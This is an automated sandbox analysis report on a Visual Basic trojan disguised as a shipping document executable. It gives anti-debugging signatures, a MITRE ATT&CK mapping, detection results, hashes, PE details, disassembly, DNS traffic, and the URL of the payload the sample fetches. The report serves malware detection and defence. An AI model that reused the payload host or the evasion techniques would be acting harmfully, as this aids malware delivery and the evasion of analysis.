Source: shipping Document and Bill Of Landing.exe, 00000001.00000002.296445757.00000000022A0000.00000004.00000001.sdmp, shipping Document and Bill Of Landing.exe, 0000000D.00000002.469952233.0000000000740000.00000004.00000001.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Thread information set: HideFromDebugger			Jump to behavior

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Code function: 1_2_0229350C rdtsc

1_2_0229350C

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Code function: 1_2_02294174 LdrInitializeThunk,

1_2_02294174

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02295A88 mov eax, dword ptr fs:[00000030h]	1_2_02295A88
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022952C8 mov eax, dword ptr fs:[00000030h]	1_2_022952C8
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022952DA mov eax, dword ptr fs:[00000030h]	1_2_022952DA
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022923FC mov eax, dword ptr fs:[00000030h]	1_2_022923FC
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022963F1 mov eax, dword ptr fs:[00000030h]	1_2_022963F1
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022963F4 mov eax, dword ptr fs:[00000030h]	1_2_022963F4
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02291BC7 mov eax, dword ptr fs:[00000030h]	1_2_02291BC7
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292415 mov eax, dword ptr fs:[00000030h]	1_2_02292415
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02296416 mov eax, dword ptr fs:[00000030h]	1_2_02296416
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_0229644C mov eax, dword ptr fs:[00000030h]	1_2_0229644C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_02292440 mov eax, dword ptr fs:[00000030h]	1_2_02292440
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 1_2_022930E0 mov eax, dword ptr fs:[00000030h]	1_2_022930E0
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00562440 mov eax, dword ptr fs:[00000030h]	13_2_00562440
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_0056644C mov eax, dword ptr fs:[00000030h]	13_2_0056644C
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00566416 mov eax, dword ptr fs:[00000030h]	13_2_00566416
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00562415 mov eax, dword ptr fs:[00000030h]	13_2_00562415
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005630E0 mov eax, dword ptr fs:[00000030h]	13_2_005630E0
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005652DA mov eax, dword ptr fs:[00000030h]	13_2_005652DA
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005652C8 mov eax, dword ptr fs:[00000030h]	13_2_005652C8
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00565A88 mov eax, dword ptr fs:[00000030h]	13_2_00565A88
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_00561BC7 mov eax, dword ptr fs:[00000030h]	13_2_00561BC7
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005663F4 mov eax, dword ptr fs:[00000030h]	13_2_005663F4
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005663F1 mov eax, dword ptr fs:[00000030h]	13_2_005663F1
Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe	Code function: 13_2_005623FC mov eax, dword ptr fs:[00000030h]	13_2_005623FC

Source: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe

Process created: C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe 'C:\Users\user\Desktop\shipping Document and Bill Of Landing.exe'

Jump to behavior

Source: shipping Document and Bill Of Landing.exe, 0000000D.00000002.470425237.0000000000EF0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: shipping Document and Bill Of Landing.exe, 0000000D.00000002.470425237.0000000000EF0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: shipping Document and Bill Of Landing.exe, 0000000D.00000002.470425237.0000000000EF0000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: shipping Document and Bill Of Landing.exe, 0000000D.00000002.470425237.0000000000EF0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion21	OS Credential Dumping	Security Software Discovery621	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion21	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information1	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol11	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Information Discovery31	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
shipping Document and Bill Of Landing.exe	52%	Virustotal		Browse
shipping Document and Bill Of Landing.exe	30%	ReversingLabs	Win32.Trojan.Vebzenpak
shipping Document and Bill Of Landing.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://reachglobal-in.com/fdeb/bin_dXfiGRj156.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reachglobal-in.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://reachglobal-in.com/fdeb/bin_dXfiGRj156.bin	true	Avira URL Cloud: safe	unknown

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	411858
Start date:	12.05.2021
Start time:	08:00:38
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	shipping Document and Bill Of Landing.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	33
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@3/0@43/0
EGA Information:	Failed
HDC Information:	Successful, ratio: 7% (good quality ratio 3.2%) Quality average: 26.4% Quality standard deviation: 33.2%
HCA Information:	Successful, ratio: 73% Number of executed functions: 143 Number of non-executed functions: 20
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Excluded IPs from analysis (whitelisted): 40.88.32.150, 92.122.145.220, 104.43.193.48, 168.61.161.212, 13.64.90.137, 23.218.208.56, 20.82.209.183, 92.122.213.194, 92.122.213.247, 20.54.26.129 Excluded domains from analysis (whitelisted): skypedataprdcolwus17.cloudapp.net, iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, ris-prod.trafficmanager.net, store-images.s-microsoft.com-c.edgekey.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus15.cloudapp.net, e12564.dspb.akamaiedge.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, arc.trafficmanager.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.954249338916242
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	shipping Document and Bill Of Landing.exe
File size:	192512
MD5:	7196e6e67a39225a9b73af0c6f6b5b0e
SHA1:	c0da8d54393e9365d1fa0f0a88cf4b52496992b1
SHA256:	4d5e7bff4f749a4f1a357c61098c19c345246b142308f4048aebc6dfdaf4fc73
SHA512:	d977f3ef74715984e3d1f536975a8ab0a361724f2303305abcf6e14895461ef2288096c0f05be69c84656c9cb8eebc51b586e5f38119bae0507102fc1c7209f7
SSDEEP:	3072:OTqw9SpYIjV4Swtm3hdcIYZKZEXaXk/L:OTqw9PSukCKZKaU/
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L......M.....................0....................@................

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x401ccc
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x4DE4F581 [Tue May 31 14:04:49 2011 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3af66fbc6abd133270fa3848991f9c33

Entrypoint Preview

Instruction
push 0041222Ch
call 00007FDABCAC72C3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
pushad
in eax, dx
fcom dword ptr [ecx-64B32A36h]
test dword ptr [edi+3Ah], eax
mov edx, esi
and eax, 0000000Fh
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [edx+00h], al
push es
push eax
add dword ptr [ecx], 41h
insd
je 00007FDABCAC734Ch
jnc 00007FDABCAC7346h
jc 00007FDABCAC7307h
add byte ptr [eax], al
mov ah, 28h
or eax, 00000003h
add bh, bh
int3
xor dword ptr [eax], eax
or al, FDh
salc
cmp eax, ebx
call 00007FDA3DEF2BDDh
sbb dh, ch
jmp far 1A55h : 7BB8AF0Bh
cld
mov edx, 44E62D63h
mov ebp, BC1E9B46h
dec ebp
and byte ptr [edx], al
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop esp
add al, 01h
add byte ptr [edx+02h], ch
add dword ptr [eax], eax
add byte ptr [ecx], cl
add byte ptr [edi+68h], dh
insb
jc 00007FDABCAC7346h
add byte ptr [43000501h], cl
outsd
outsd
jo 00007FDABCAC7307h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2bc74	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2f000	0x900	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x140	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2b200	0x2c000	False	0.31094082919	data	6.14682442454	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x2d000	0x11f4	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2f000	0x900	0x1000	False	0.16650390625	data	1.96156765674	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x2f7d0	0x130	data
RT_ICON	0x2f4e8	0x2e8	data
RT_ICON	0x2f3c0	0x128	GLS_BINARY_LSB_FIRST
RT_GROUP_ICON	0x2f390	0x30	data
RT_VERSION	0x2f150	0x240	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, __vbaEnd, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaRecAnsiToUni, __vbaStrCat, __vbaSetSystemError, __vbaRecDestruct, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, _adj_fdivr_m16i, __vbaVarTstLt, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, DllFunctionCall, _adj_fpatan, __vbaLateIdCallLd, __vbaRecUniToAnsi, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarAdd, __vbaStrToAnsi, __vbaFpI4, __vbaRecDestructAnsi, _CIatan, __vbaStrMove, __vbaCastObj, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeStr, __vbaFreeObj

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	The
FileVersion	1.00
CompanyName	Origin! CAD
ProductName	Origin! CAD
ProductVersion	1.00
FileDescription	Origin!
OriginalFilename	The.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source IP	Dest IP
05/12/21-08:02:35.204329	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:36.222464	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:37.240826	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:40.491414	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:41.527466	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:46.372764	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:50.638500	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:51.639741	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:55.687460	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:02:56.734923	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:00.783150	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:02.811944	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:05.906613	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:06.938617	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:11.031996	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:12.079577	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:16.126441	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:17.141343	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:19.140188	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:22.289451	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:23.327932	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:25.321499	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:27.403886	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:28.393190	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:33.424666	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8
05/12/21-08:03:34.472475	ICMP	402	ICMP Destination Unreachable Port Unreachable	192.168.2.3	8.8.8.8

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2021 08:01:19.031388044 CEST	64938	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:19.080117941 CEST	53	64938	8.8.8.8	192.168.2.3
May 12, 2021 08:01:20.157840967 CEST	60152	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:20.225888968 CEST	53	60152	8.8.8.8	192.168.2.3
May 12, 2021 08:01:22.002157927 CEST	57544	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:22.053714037 CEST	53	57544	8.8.8.8	192.168.2.3
May 12, 2021 08:01:22.813426971 CEST	55984	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:22.865047932 CEST	53	55984	8.8.8.8	192.168.2.3
May 12, 2021 08:01:24.007102966 CEST	64185	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:24.055876970 CEST	53	64185	8.8.8.8	192.168.2.3
May 12, 2021 08:01:25.481729031 CEST	65110	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:25.539752007 CEST	53	65110	8.8.8.8	192.168.2.3
May 12, 2021 08:01:26.385723114 CEST	58361	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:26.437232018 CEST	53	58361	8.8.8.8	192.168.2.3
May 12, 2021 08:01:27.526230097 CEST	63492	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:27.575057030 CEST	53	63492	8.8.8.8	192.168.2.3
May 12, 2021 08:01:28.726255894 CEST	60831	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:28.778234005 CEST	53	60831	8.8.8.8	192.168.2.3
May 12, 2021 08:01:30.069235086 CEST	60100	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:30.118036032 CEST	53	60100	8.8.8.8	192.168.2.3
May 12, 2021 08:01:31.603904009 CEST	53195	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:31.655699968 CEST	53	53195	8.8.8.8	192.168.2.3
May 12, 2021 08:01:34.786555052 CEST	50141	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:34.841972113 CEST	53	50141	8.8.8.8	192.168.2.3
May 12, 2021 08:01:35.618351936 CEST	53023	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:35.667068005 CEST	53	53023	8.8.8.8	192.168.2.3
May 12, 2021 08:01:36.700438976 CEST	49563	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:36.749245882 CEST	53	49563	8.8.8.8	192.168.2.3
May 12, 2021 08:01:37.594563961 CEST	51352	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:37.643485069 CEST	53	51352	8.8.8.8	192.168.2.3
May 12, 2021 08:01:38.529011011 CEST	59349	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:38.577831984 CEST	53	59349	8.8.8.8	192.168.2.3
May 12, 2021 08:01:39.541491032 CEST	57084	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:39.590857983 CEST	53	57084	8.8.8.8	192.168.2.3
May 12, 2021 08:01:44.314141989 CEST	58823	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:44.365715981 CEST	53	58823	8.8.8.8	192.168.2.3
May 12, 2021 08:01:45.483055115 CEST	57568	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:45.531965971 CEST	53	57568	8.8.8.8	192.168.2.3
May 12, 2021 08:01:55.487745047 CEST	50540	53	192.168.2.3	8.8.8.8
May 12, 2021 08:01:55.559851885 CEST	53	50540	8.8.8.8	192.168.2.3
May 12, 2021 08:02:29.154186964 CEST	54366	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:30.151031017 CEST	54366	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:31.166793108 CEST	54366	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:32.352262974 CEST	53034	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:32.424287081 CEST	53	53034	8.8.8.8	192.168.2.3
May 12, 2021 08:02:33.167016029 CEST	54366	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:34.206736088 CEST	53	54366	8.8.8.8	192.168.2.3
May 12, 2021 08:02:35.203108072 CEST	53	54366	8.8.8.8	192.168.2.3
May 12, 2021 08:02:35.250248909 CEST	57762	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:36.219311953 CEST	53	54366	8.8.8.8	192.168.2.3
May 12, 2021 08:02:36.419112921 CEST	57762	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:37.240662098 CEST	53	54366	8.8.8.8	192.168.2.3
May 12, 2021 08:02:37.461003065 CEST	57762	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:39.314114094 CEST	53	57762	8.8.8.8	192.168.2.3
May 12, 2021 08:02:40.333544970 CEST	55435	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:40.487884045 CEST	53	57762	8.8.8.8	192.168.2.3
May 12, 2021 08:02:41.323945045 CEST	55435	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:41.524218082 CEST	53	57762	8.8.8.8	192.168.2.3
May 12, 2021 08:02:42.370624065 CEST	55435	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:44.397491932 CEST	53	55435	8.8.8.8	192.168.2.3
May 12, 2021 08:02:45.529561043 CEST	50713	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:46.372621059 CEST	53	55435	8.8.8.8	192.168.2.3
May 12, 2021 08:02:46.434206009 CEST	53	55435	8.8.8.8	192.168.2.3
May 12, 2021 08:02:46.574399948 CEST	50713	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:47.574556112 CEST	50713	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:49.593126059 CEST	53	50713	8.8.8.8	192.168.2.3
May 12, 2021 08:02:49.597605944 CEST	56132	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:49.658670902 CEST	53	56132	8.8.8.8	192.168.2.3
May 12, 2021 08:02:50.613149881 CEST	58987	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:50.638376951 CEST	53	50713	8.8.8.8	192.168.2.3
May 12, 2021 08:02:51.621308088 CEST	58987	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:51.639637947 CEST	53	50713	8.8.8.8	192.168.2.3
May 12, 2021 08:02:52.668411970 CEST	58987	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:54.678493023 CEST	53	58987	8.8.8.8	192.168.2.3
May 12, 2021 08:02:55.687346935 CEST	53	58987	8.8.8.8	192.168.2.3
May 12, 2021 08:02:55.696567059 CEST	56579	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:56.718844891 CEST	56579	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:56.734673023 CEST	53	58987	8.8.8.8	192.168.2.3
May 12, 2021 08:02:57.762463093 CEST	56579	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:58.541511059 CEST	60633	53	192.168.2.3	8.8.8.8
May 12, 2021 08:02:58.606501102 CEST	53	60633	8.8.8.8	192.168.2.3
May 12, 2021 08:02:59.762057066 CEST	53	56579	8.8.8.8	192.168.2.3
May 12, 2021 08:03:00.782874107 CEST	53	56579	8.8.8.8	192.168.2.3
May 12, 2021 08:03:00.853844881 CEST	61292	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:01.841365099 CEST	61292	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:02.811834097 CEST	53	56579	8.8.8.8	192.168.2.3
May 12, 2021 08:03:02.872667074 CEST	61292	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:04.917594910 CEST	53	61292	8.8.8.8	192.168.2.3
May 12, 2021 08:03:05.906464100 CEST	53	61292	8.8.8.8	192.168.2.3
May 12, 2021 08:03:05.970653057 CEST	63619	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:06.937756062 CEST	53	61292	8.8.8.8	192.168.2.3
May 12, 2021 08:03:06.966382980 CEST	63619	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:08.013849020 CEST	63619	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:10.035644054 CEST	53	63619	8.8.8.8	192.168.2.3
May 12, 2021 08:03:11.031840086 CEST	53	63619	8.8.8.8	192.168.2.3
May 12, 2021 08:03:11.059521914 CEST	64938	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:12.060440063 CEST	64938	53	192.168.2.3	8.8.8.8
May 12, 2021 08:03:12.079459906 CEST	53	63619	8.8.8.8	192.168.2.3
May 12, 2021 08:03:13.076947927 CEST	64938	53	192.168.2.3	8.8.8.8
